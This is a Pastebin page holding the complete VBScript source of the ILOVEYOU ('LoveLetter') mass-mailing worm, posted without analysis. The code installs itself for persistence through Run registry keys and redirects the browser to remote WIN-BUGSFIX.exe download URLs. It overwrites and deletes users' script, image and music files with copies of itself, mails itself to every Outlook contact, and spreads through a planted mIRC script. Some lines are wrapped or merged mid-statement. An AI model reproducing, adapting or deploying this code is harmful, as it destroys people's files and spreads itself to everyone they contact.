API tools faq
paste
Advertisement
Guest User

Untitled

a guest
Jun 20th, 2015
233
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VisualBasic 10.64 KB | None | 0 0
raw download clone embed print report
  1. rem  barok -loveletter(vbe) <i hate go to school>
  2. rem by: spyder  /  ispyder@mail.com  /  @GRAMMERSoft Group  /  Manila,Philippines
  3. On Error Resume Next
  4. dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
  5. eq=""
  6. ctr=0
  7. Set fso = CreateObject("Scripting.FileSystemObject")
  8. set file = fso.OpenTextFile(WScript.ScriptFullname,1)
  9. vbscopy=file.ReadAll
  10. main()
  11. sub main()
  12.     On Error Resume Next
  13.     dim wscr,rr
  14.     set wscr=CreateObject("WScript.Shell")
  15.     rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
  16.     if (rr>=1) then
  17.         wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
  18.     end if
  19.     Set dirwin = fso.GetSpecialFolder(0)
  20.     Set dirsystem = fso.GetSpecialFolder(1)
  21.     Set dirtemp = fso.GetSpecialFolder(2)
  22.     Set c = fso.GetFile(WScript.ScriptFullName)
  23.     c.Copy(dirsystem&"\MSKernel32.vbs")
  24.     c.Copy(dirwin&"\Win32DLL.vbs")
  25.     c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
  26.     regruns()
  27.     html()
  28.     spreadtoemail()
  29.     listadriv()
  30. end sub
  31. sub regruns()
  32.     On Error Resume Next
  33.     Dim num,downread
  34.     regcreate
  35.     "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKern el32",dirsystem&"\MSKernel32.vbs"
  36.     regcreate
  37.     "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunService s\Win32DLL",dirwin&"\Win32DLL.vbs"
  38.     downread=""
  39.     downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")
  40.     if (downread="") then
  41.         downread="c:\"
  42.     end if
  43.     if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
  44.         Randomize
  45.         num = Int((4 * Rnd) + 1)
  46.         if num = 1 then
  47.             regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
  48.             Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfm
  49.             hPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
  50.         elseif num = 2 then
  51.             regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqw
  52.             erWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
  53.         elseif num = 3 then
  54.             regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
  55.             Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBd
  56.             QZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
  57.         elseif num = 4 then
  58.             regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
  59.             Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSD
  60.             GjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN -BUGSFIX.exe"
  61.         end if
  62.     end if
  63.     if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then regcreate
  64.     "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BU GSFIX",downread&"\WIN-BUGSFIX.exe"
  65.     regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet
  66.     Explorer\Main\Start Page","about:blank"
  67. end if
  68. end sub
  69. sub listadriv
  70. On Error Resume Next
  71. Dim d,dc,s
  72. Set dc = fso.Drives
  73. For Each d in dc
  74.     If d.DriveType = 2 or d.DriveType=3 Then
  75.         folderlist(d.path&"\")
  76.     end if
  77. Next
  78. listadriv = s
  79. end sub
  80. sub infectfiles(folderspec)
  81. On Error Resume Next
  82. dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
  83. set f = fso.GetFolder(folderspec)
  84. set fc = f.Files
  85. for each f1 in fc
  86.     ext=fso.GetExtensionName(f1.path)
  87.     ext=lcase(ext)
  88.     s=lcase(f1.name)
  89.     if (ext="vbs") or (ext="vbe") then
  90.         set ap=fso.OpenTextFile(f1.path,2,true)
  91.         ap.write vbscopy
  92.         ap.close
  93.         elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
  94.         set ap=fso.OpenTextFile(f1.path,2,true)
  95.         ap.write vbscopy
  96.         ap.close
  97.         bname=fso.GetBaseName(f1.path)
  98.         set cop=fso.GetFile(f1.path)
  99.         cop.copy(folderspec&"\"&bname&".vbs") fso.DeleteFile(f1.path)
  100.         elseif(ext="jpg") or (ext="jpeg") then
  101.         set ap=fso.OpenTextFile(f1.path,2,true)
  102.         ap.write vbscopy
  103.         ap.close
  104.         set cop=fso.GetFile(f1.path)
  105.         cop.copy(f1.path&".vbs")
  106.         fso.DeleteFile(f1.path)
  107.         elseif(ext="mp3") or (ext="mp2") then
  108.         set mp3=fso.CreateTextFile(f1.path&".vbs")
  109.         mp3.write vbscopy
  110.         mp3.close
  111.         set att=fso.GetFile(f1.path)
  112.         att.attributes=att.attributes+2
  113.     end if
  114.     if (eq<>folderspec) then
  115.         if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
  116.             set scriptini=fso.CreateTextFile(folderspec&"\script.ini") scriptini.WriteLine "[script]"
  117.             scriptini.WriteLine ";mIRC Script"
  118.             scriptini.WriteLine ";  Please dont edit this script... mIRC will corrupt, if mIRC will"
  119.             scriptini.WriteLine "    corrupt... WINDOWS will affect and will not run correctly. thanks"
  120.             scriptini.WriteLine ";"
  121.             scriptini.WriteLine ";Khaled Mardam-Bey"
  122.             scriptini.WriteLine ";http://www.mirc.com"
  123.             scriptini.WriteLine ";"
  124.             scriptini.WriteLine "n0=on 1:JOIN:#:{"
  125.             scriptini.WriteLine "n1=  /if ( $nick == $me ) { halt }" scriptini.WriteLine "n2=  /.dcc send $nick
  126.             "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
  127.             scriptini.WriteLine "n3=}"
  128.             scriptini.close
  129.             eq=folderspec
  130.         end if
  131.     end if
  132. next
  133. end sub
  134. sub folderlist(folderspec)
  135. On Error Resume Next
  136. dim f,f1,sf
  137. set f = fso.GetFolder(folderspec)
  138. set sf = f.SubFolders
  139. for each f1 in sf
  140.     infectfiles(f1.path)
  141.     folderlist(f1.path)
  142. next
  143. end sub
  144. sub regcreate(regkey,regvalue)
  145. Set regedit = CreateObject("WScript.Shell")
  146. regedit.RegWrite regkey,regvalue
  147. end sub
  148. function regget(value)
  149. Set regedit = CreateObject("WScript.Shell")
  150. regget=regedit.RegRead(value)
  151. end function
  152. function fileexist(filespec)
  153. On Error Resume Next
  154. dim msg
  155. if (fso.FileExists(filespec)) Then
  156.     msg = 0
  157. else
  158.     msg = 1
  159. end if
  160. fileexist = msg
  161. end function
  162. function folderexist(folderspec)
  163. On Error Resume Next
  164. dim msg
  165. if (fso.GetFolderExists(folderspec)) then
  166.     msg = 0
  167. else
  168.     msg = 1
  169. end if
  170. fileexist = msg
  171. end function
  172. sub spreadtoemail()
  173. On Error Resume Next
  174. dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
  175. set regedit=CreateObject("WScript.Shell")
  176. set out=WScript.CreateObject("Outlook.Application")
  177. set mapi=out.GetNameSpace("MAPI")
  178. for ctrlists=1 to mapi.AddressLists.Count
  179.     set a=mapi.AddressLists(ctrlists)
  180.     x=1
  181.     regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) if (regv="") then
  182.     regv=1
  183. end if
  184. if (int(a.AddressEntries.Count)>int(regv)) then
  185.     for ctrentries=1 to a.AddressEntries.Count
  186.         malead=a.AddressEntries(x)
  187.         regad=""
  188.         regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead )
  189.         if (regad="") then
  190.             set male=out.CreateItem(0)
  191.             male.Recipients.Add(malead)
  192.             male.Subject = "ILOVEYOU"
  193.             male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
  194.             male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send
  195.             regedit.RegWrite
  196.             "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD" end if
  197.             x=x+1
  198.         next
  199.         regedit.RegWrite
  200.         "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count else
  201.         regedit.RegWrite
  202.         "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count end if
  203.     next
  204.     Set out=Nothing
  205.     Set mapi=Nothing
  206. end sub
  207. sub html
  208.     On Error Resume Next
  209.     dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
  210.     dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS -
  211.     LOVELETTER@-@>"&vbcrlf& _ "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-?
  212.     @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _ "<META NAME=@-@Description@-@
  213.     CONTENT=@-@simple but i think this is good...@-@>"&vbcrlf& _
  214.     "<?-?HEAD><BODY
  215.     ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.
  216.     HTM#-#,#-#main#-#)@-@ "&vbcrlf& _
  217.     "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU. HTM#-#,#-#main#-#)@-@
  218.     BGPROPERTIES=@-@fixed@-@
  219.     BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _
  220.     "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to
  221.     Enable ActiveX<?-?p>"&vbcrlf& _
  222.     "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@
  223.     BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQU EE> "&vbcrlf& _
  224.     "<?-?BODY><?-?HTML>"&vbcrlf& _
  225.     "<SCRIPT language=@-@JScript@-@>"&vbcrlf& _ "<!--?-??-?"&vbcrlf& _
  226.     "if (window.screen){var wi=screen.availWidth;var
  227.     hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrl f& _
  228.     "?-??-?-->"&vbcrlf& _
  229.     "<?-?SCRIPT>"&vbcrlf& _
  230.     "<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _ "<!--"&vbcrlf& _
  231.     "on error resume next"&vbcrlf& _
  232.     "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _ "aw=1"&vbcrlf& _
  233.     "code="
  234.     dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _
  235.     "set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _ "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _
  236.     "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _ "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _ "set
  237.     wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _
  238.     "wri.write code4"&vbcrlf& _
  239.     "wri.close"&vbcrlf& _
  240.     "if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _ "if (err.number=424) then"&vbcrlf& _
  241.     "aw=0"&vbcrlf& _
  242.     "end if"&vbcrlf& _
  243.     "if (aw=1) then"&vbcrlf& _
  244.     "document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _ "window.close"&vbcrlf& _
  245.     "end if"&vbcrlf& _
  246.     "end if"&vbcrlf& _
  247.     "Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _
  248.     "regedit.RegWrite
  249.     @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^
  250.     -^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _ "?-??-?-->"&vbcrlf& _
  251.     "<?-?SCRIPT>"
  252.     dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
  253.     dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""") dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
  254.     dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")
  255.     dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
  256.     dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""") dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
  257.     dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")
  258.     set fso=CreateObject("Scripting.FileSystemObject")
  259.     set c=fso.OpenTextFile(WScript.ScriptFullName,1)
  260.     lines=Split(c.ReadAll,vbcrlf)
  261.     l1=ubound(lines)
  262.     for n=0 to ubound(lines)
  263.         lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91)) lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
  264.         lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37)) if (l1=n) then
  265.         lines(n)=chr(34)+lines(n)+chr(34)
  266.     else
  267.         lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _" end if
  268.     next
  269.     set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM") b.close
  270.     set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2) d.write dt5
  271.     d.write join(lines,vbcrlf)
  272.     d.write vbcrlf
  273.     d.write dt6
  274.     d.close
  275. end sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!